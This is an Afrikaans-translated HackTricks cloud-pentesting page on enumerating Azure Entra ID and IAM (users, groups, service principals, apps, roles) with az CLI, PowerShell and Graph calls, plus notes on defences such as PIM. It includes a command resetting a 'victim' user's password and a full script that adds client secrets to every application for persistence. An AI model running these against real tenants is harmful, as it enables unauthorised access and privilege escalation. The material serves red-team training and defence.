Az - Entra ID (AzureAD) & Azure IAM
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Azure Active Directory (Azure AD) dien as Microsoft se wolk-gebaseerde diens vir identiteit en toegang bestuur. Dit is noodsaaklik om werknemers in staat te stel om aan te meld en toegang tot hulpbronne te verkry, beide binne en buite die organisasie, insluitend Microsoft 365, die Azure-portaal, en ân verskeidenheid ander SaaS-toepassings. Die ontwerp van Azure AD fokus op die lewering van noodsaaklike identiteitsdienste, wat prominent autentisering, magtiging, en gebruikersbestuur insluit.
Belangrike kenmerke van Azure AD sluit multi-faktor autentisering en voorwaardelike toegang in, tesame met naatlose integrasie met ander Microsoft-sekuriteitsdienste. Hierdie kenmerke verhoog die sekuriteit van gebruikersidentiteite aansienlik en bemagtig organisasies om hul toegangbeleide effektief te implementeer en af te dwing. As ân fundamentele komponent van Microsoft se wolkdienste-ekosisteem, is Azure AD van kardinale belang vir die wolk-gebaseerde bestuur van gebruikersidentiteite.
Enumerasie
Verbinding
az login #This will open the browser (if not use --use-device-code)
az login -u <username> -p <password> #Specify user and password
az login --identity #Use the current machine managed identity (metadata)
az login --identity -u /subscriptions/<subscriptionId>/resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity
# Login as service principal
##Â With password
az login --service-principal -u <application ID> -p VerySecret --tenant contoso.onmicrosoft.com # Tenant can also be the tenant UUID
##Â With cert
az login --service-principal -u <application ID> -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com
# Request access token (ARM)
az account get-access-token
# Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type aad-graph
# If you want to configure some defaults
az configure
# Get user logged-in already
az ad signed-in-user show
# Help
az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples
Wanneer jy aanmeld via CLI in Azure met enige program, gebruik jy ân Azure-toepassing van ân tenant wat aan Microsoft behoort. Hierdie Toepassings, soos die wat jy in jou rekening kan skep, het ân kliĂ«nt-id. Jy sal nie al hulle kan sien nie in die toegelate toepassingslys wat jy in die konsole kan sien, maar hulle is standaard toegelaat.
Byvoorbeeld, ân powershell-skrip wat autentiseer gebruik ân app met kliĂ«nt-id 1950a258-227b-4e31-a9cf-717495945fc2. Selfs al verskyn die app nie in die konsole nie, kan ân stelselaanvoerder daardie toepassing blokkeer sodat gebruikers nie toegang kan verkry nie met gereedskap wat via daardie App verbind.
Daar is egter ander kliënt-ids van toepassings wat jou sal toelaat om met Azure te verbind:
# The important part is the ClientId, which identifies the application to login inside Azure
$token = Invoke-Authorize -Credential $credential `
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue
$token = Invoke-Authorize -Credential $credential `
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
-Scope 'openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
-Verbose -Debug `
-InformationAction Continue
$token = Invoke-Authorize -Credential $credential `
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
-Scope 'openid' `
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue
Huurders
# List tenants
az account tenant list
Gebruikers
Vir meer inligting oor Entra ID gebruikers, kyk:
# Enumerate users
az ad user list --output table
az ad user list --query "[].userPrincipalName"
# Get info of 1 user
az ad user show --id "test@corp.onmicrosoft.com"
# Search "admin" users
az ad user list --query "[].displayName" | findstr /i "admin"
az ad user list --query "[?contains(displayName,'admin')].displayName"
# Search attributes containing the word "password"
az ad user list | findstr /i "password" | findstr /v "null,"
# All users from Entra ID
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All users synced from on-prem
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]"
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get groups where the user is a member
az ad user get-member-groups --id <email>
# Get roles assigned to the user in Azure (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --assignee <email>
# Get ALL roles assigned in Azure in the current subscription (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --all
# Get EntraID roles assigned to a user
## Get Token
export TOKEN=$(az account get-access-token --resource https://graph.microsoft.com/ --query accessToken -o tsv)
## Get users
curl -X GET "https://graph.microsoft.com/v1.0/users" \
-H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" | jq
## Get EntraID roles assigned to an user
curl -X GET "https://graph.microsoft.com/beta/rolemanagement/directory/transitiveRoleAssignments?\$count=true&\$filter=principalId%20eq%20'86b10631-ff01-4e73-a031-29e505565caa'" \
-H "Authorization: Bearer $TOKEN" \
-H "ConsistencyLevel: eventual" \
-H "Content-Type: application/json" | jq
## Get role details
curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefinitions/cf1c38e5-3621-4004-a7cb-879624dced7c" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" | jq
Verander Gebruiker Wagwoord
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText âForce
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password âVerbose
MFA & Voorwaardelike Toegang Beleide
Dit word sterk aanbeveel om MFA aan elke gebruiker toe te voeg, maar sommige maatskappye sal dit nie instel nie of mag dit instel met ân Voorwaardelike Toegang: Die gebruiker sal MFA vereis word as dit vanaf ân spesifieke ligging, blaaier of sekere voorwaarde aanmeld. Hierdie beleide, as dit nie korrek geconfigureer is nie, mag vatbaar wees vir omseilings. Kontroleer:
Az - Conditional Access Policies & MFA Bypass
Groepe
Vir meer inligting oor Entra ID groepe, kyk:
# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
# Get info of 1 group
az ad group show --group <group>
# Get "admin" groups
az ad group list --query "[].displayName" | findstr /i "admin"
az ad group list --query "[?contains(displayName,'admin')].displayName"
# All groups from Entra ID
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All groups synced from on-prem
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]"
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get members of group
az ad group member list --group <group> --query "[].userPrincipalName" -o table
# Check if member of group
az ad group member check --group "VM Admins" --member-id <id>
# Get which groups a group is member of
az ad group get-member-groups -g "VM Admins"
# Get roles assigned to the group in Azure (NOT in Entra ID)
az role assignment list --include-groups --include-classic-administrators true --assignee <group-id>
# To get Entra ID roles assigned check how it's done with users and use a group ID
Voeg gebruiker by groep
Eienaars van die groep kan nuwe gebruikers by die groep voeg
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
Warning
Groepe kan dinamies wees, wat basies beteken dat as ân gebruiker aan sekere voorwaardes voldoen, sal hy aan ân groep bygevoeg word. Natuurlik, as die voorwaardes gebaseer is op eienskappe wat ân gebruiker kan beheer, kan hy hierdie funksie misbruik om in ander groepe te kom.
Kyk hoe om dinamiese groepe te misbruik op die volgende bladsy:
Diens Principals
Vir meer inligting oor Entra ID diens principals, kyk:
# Get Service Principals
az ad sp list --all
az ad sp list --all --query "[].[displayName,appId]" -o table
# Get details of one SP
az ad sp show --id 00000000-0000-0000-0000-000000000000
# Search SP by string
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
# Get owner of service principal
az ad sp owner list --id <id> --query "[].[displayName]" -o table
# Get service principals owned by the current user
az ad sp list --show-mine
# Get SPs with generated secret or certificate
az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
Warning
Die Eienaar van ân Diens Prinsipaal kan sy wagwoord verander.
Lyste en probeer om 'n kliënt geheim by elke Enterprise App te voeg
```bash # Just call Add-AzADAppSecret Function Add-AzADAppSecret { <# .SYNOPSIS Add client secret to the applications..PARAMETER GraphToken Pass the Graph API Token
.EXAMPLE PS C:> Add-AzADAppSecret -GraphToken âeyJ0eX..â
.LINK https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http #>
[CmdletBinding()] param( [Parameter(Mandatory=$True)] [String] $GraphToken = $null )
$AppList = $null $AppPassword = $null
List All the Applications
$Params = @{ âURIâ = âhttps://graph.microsoft.com/v1.0/applicationsâ âMethodâ = âGETâ âHeadersâ = @{ âContent-Typeâ = âapplication/jsonâ âAuthorizationâ = âBearer $GraphTokenâ } }
try { $AppList = Invoke-RestMethod @Params -UseBasicParsing } catch { }
Add Password in the Application
if($AppList -ne $null) { [System.Collections.ArrayList]$Details = @()
foreach($App in $AppList.value) { $ID = $App.ID $psobj = New-Object PSObject
$Params = @{ âURIâ = âhttps://graph.microsoft.com/v1.0/applications/$ID/addPasswordâ âMethodâ = âPOSTâ âHeadersâ = @{ âContent-Typeâ = âapplication/jsonâ âAuthorizationâ = âBearer $GraphTokenâ } }
$Body = @{ âpasswordCredentialâ= @{ âdisplayNameâ = âPasswordâ } }
try { $AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json) Add-Member -InputObject $psobj -NotePropertyName âObject IDâ -NotePropertyValue $ID Add-Member -InputObject $psobj -NotePropertyName âApp IDâ -NotePropertyValue $App.appId Add-Member -InputObject $psobj -NotePropertyName âApp Nameâ -NotePropertyValue $App.displayName Add-Member -InputObject $psobj -NotePropertyName âKey IDâ -NotePropertyValue $AppPassword.keyId Add-Member -InputObject $psobj -NotePropertyName âSecretâ -NotePropertyValue $AppPassword.secretText $Details.Add($psobj) | Out-Null } catch { Write-Output âFailed to add new client secret to â$($App.displayName)â Application.â } } if($Details -ne $null) { Write-Output ââ Write-Output âClient secret added to : â Write-Output $Details | fl * } } else { Write-Output âFailed to Enumerate the Applications.â } }
</details>
### Toepassings
Vir meer inligting oor Toepassings, kyk:
<a class="content_ref" href="../az-basic-information/index.html"><span class="content_ref_label">Az - Basic Information</span></a>
Wanneer 'n App gegenereer word, word 2 tipes toestemmings gegee:
- **Toestemmings** gegee aan die **Diens Prinsipaal**
- **Toestemmings** wat die **app** kan hĂȘ en gebruik op **naam van die gebruiker**.
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List Apps
az ad app list
az ad app list --query "[].[displayName,appId]" -o table
# Get info of 1 App
az ad app show --id 00000000-0000-0000-0000-000000000000
# Search App by string
az ad app list --query "[?contains(displayName,'app')].displayName"
# Get the owner of an application
az ad app owner list --id <id> --query "[].[displayName]" -o table
# Get SPs owned by current user
az ad app list --show-mine
# Get apps with generated secret or certificate
az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
# Get Global Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"
# Get Application Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"
# Get Cloud Applications Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"
{{#endtab }}
{{#tab name=âAzâ }}
# Get Apps
Get-AzADApplication
# Get details of one App
Get-AzADApplication -ObjectId <id>
# Get App searching by string
Get-AzADApplication | ?{$_.DisplayName -match "app"}
# Get Apps with password
Get-AzADAppCredential
{{#endtab }}
{{#tab name=âMS Graphâ }}
# List Applications using Microsoft Graph PowerShell
Get-MgApplication -All
# Get application details
Get-MgApplication -ApplicationId 7861f72f-ad49-4f8c-96a9-19e6950cffe1 | Format-List *
# Search App by display name
Get-MgApplication -Filter "startswith(displayName, 'app')" | Select-Object DisplayName
# Get owner of an application
Get-MgApplicationOwner -ApplicationId <ApplicationId>
# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Applications
{{#endtab }}
{{#tab name=âAzure ADâ }}
# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
Get-AzureADApplication -ObjectId <id> | fl *
# List all the apps with an application password
Get-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredential -ObjectID $_.ObjectID){$_}}
# Get owner of an application
Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
{{#endtab }} {{#endtabs }}
Warning
ân Toepassing met die toestemming
AppRoleAssignment.ReadWritekan opgradeer na Global Admin deur vir homself die rol toe te ken.
Vir meer inligting kyk hier.
Note
ân Geheime string wat die toepassing gebruik om sy identiteit te bewys wanneer dit ân token aan vra, is die toepassingswagwoord.
So, as jy hierdie wagwoord vind, kan jy toegang verkry as die service principal binne die tenant.
Let daarop dat hierdie wagwoord slegs sigbaar is wanneer dit gegenereer word (jy kan dit verander, maar jy kan dit nie weer kry nie).
Die eienaar van die toepassing kan ân wagwoord daaraan byvoeg (sodat hy dit kan naboots).
Aanmeldings as hierdie service principals is nie as riskant gemerk nie en hulle sal nie MFA hĂȘ nie.
Dit is moontlik om ân lys van algemeen gebruikte App IDâs wat aan Microsoft behoort te vind in https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications
Gemanagte Identiteite
Vir meer inligting oor Gemanagte Identiteite kyk:
# List all manged identities
az identity list --output table
# With the principal ID you can continue the enumeration in service principals
Azure Rolle
Vir meer inligting oor Azure rolle, kyk:
# Get roles
az role definition list
# Get all assigned roles
az role assignment list --all --query "[].roleDefinitionName"
az role assignment list --all | jq '.[] | .roleDefinitionName,.scope'
# Get info of 1 role
az role definition list --name "AzureML Registry User"
# Get only custom roles
az role definition list --custom-role-only
# Get only roles assigned to the resource group indicated
az role definition list --resource-group <resource_group>
# Get only roles assigned to the indicated scope
az role definition list --scope <scope>
# Get all the principals a role is assigned to
az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,scope:scope,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='<ROLE_NAME>']"
# Get all the roles assigned to a user
az role assignment list --assignee "<email>" --all --output table
# Get all the roles assigned to a user by filtering
az role assignment list --all --query "[?principalName=='admin@organizationadmin.onmicrosoft.com']" --output table
# Get deny assignments
az rest --method GET --uri "https://management.azure.com/{scope}/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"
## Example scope of subscription
az rest --method GET --uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"
Entra ID Rolle
Vir meer inligting oor Azure rolle, kyk:
# List template Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"
# List enabled built-in Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# List all Entra ID roles with their permissions (including custom roles)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"
# List only custom Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# List all assigned Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"
# List members of a Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"
# List Entra ID roles assigned to a user
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
# List Entra ID roles assigned to a group
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
# List Entra ID roles assigned to a service principal
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
Toestelle
# If you know how to do this send a PR!
Warning
As ân toestel (VM) AzureAD aangesluit is, gaan gebruikers van AzureAD in staat wees om aan te meld.
Boonop, as die aangemelde gebruiker die Eienaar van die toestel is, gaan hy lokale admin wees.
Administratiewe Eenhede
Vir meer inligting oor administratiewe eenhede, kyk:
# List all administrative units
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
# Get AU info
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53"
# Get members
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members"
# Get principals with roles over the AU
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"
Entra ID Privilege Escalation
Azure Privilege Escalation
Az - Azure IAM Privesc (Authorization)
Verdedigingsmeganismes
Privileged Identity Management (PIM)
Privileged Identity Management (PIM) in Azure help om oormatige voorregte te voorkom wat onnodig aan gebruikers toegeken word.
Een van die hoofkenmerke wat deur PIM verskaf word, is dat dit toelaat om nie rolle aan principals toe te ken wat konstant aktief is nie, maar om hulle verkieslik te maak vir ân tydperk (bv. 6 maande). Dan, wanneer die gebruiker daardie rol wil aktiveer, moet hy daarvoor vra en die tyd aan dui wat hy die voorreg nodig het (bv. 3 uur). Dan moet ân admin die versoek goedkeur.
Let daarop dat die gebruiker ook kan vra om die tyd te verleng.
Boonop, PIM stuur e-posse wanneer ân voorregte rol aan iemand toegeken word.
.png)
Wanneer PIM geaktiveer is, is dit moontlik om elke rol met sekere vereistes te konfigureer soos:
- Maksimum duur (ure) van aktivering
- Vereis MFA op aktivering
- Vereis voorwaardelike toegang autentikasie konteks
- Vereis regverdigings op aktivering
- Vereis kaartjie-inligting op aktivering
- Vereis goedkeuring om te aktiveer
- Maks tyd om die verkieslike toekennings te laat verval
- Nog baie meer konfigurasie oor wanneer en aan wie om kennisgewings te stuur wanneer sekere aksies met daardie rol gebeur
Voorwaardelike Toegang Beleide
Kontroleer:
Az - Conditional Access Policies & MFA Bypass
Entra Identiteitsbeskerming
Entra Identiteitsbeskerming is ân sekuriteitsdiens wat toelaat om te ontdek wanneer ân gebruiker of ân aanmelding te riskant is om aanvaar te word, wat toelaat om die gebruiker of die aanmeldpoging te blokkeer.
Dit laat die admin toe om dit te konfigureer om pogings te blokkeer wanneer die risiko âLaag en boâ, âMedium en boâ of âHoogâ is. Alhoewel, standaard is dit heeltemal deaktiveer:
.png)
Tip
Vandag word dit aanbeveel om hierdie beperkings via Voorwaardelike Toegang beleide toe te voeg waar dit moontlik is om dieselfde opsies te konfigureer.
Entra Wagwoordbeskerming
Entra Wagwoordbeskerming (https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade) is ân sekuriteitskenmerk wat help om die misbruik van swak wagwoorde te voorkom deur rekeninge te sluit wanneer verskeie onsuksesvolle aanmeldpogings plaasvind.
Dit laat ook toe om ân aangepaste wagwoordlys te verbied wat jy moet verskaf.
Dit kan op beide die wolkvlak en op-premises Aktiewe Directory toegepas word.
Die standaardmodus is Oudit:
.png)
Verwysings
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

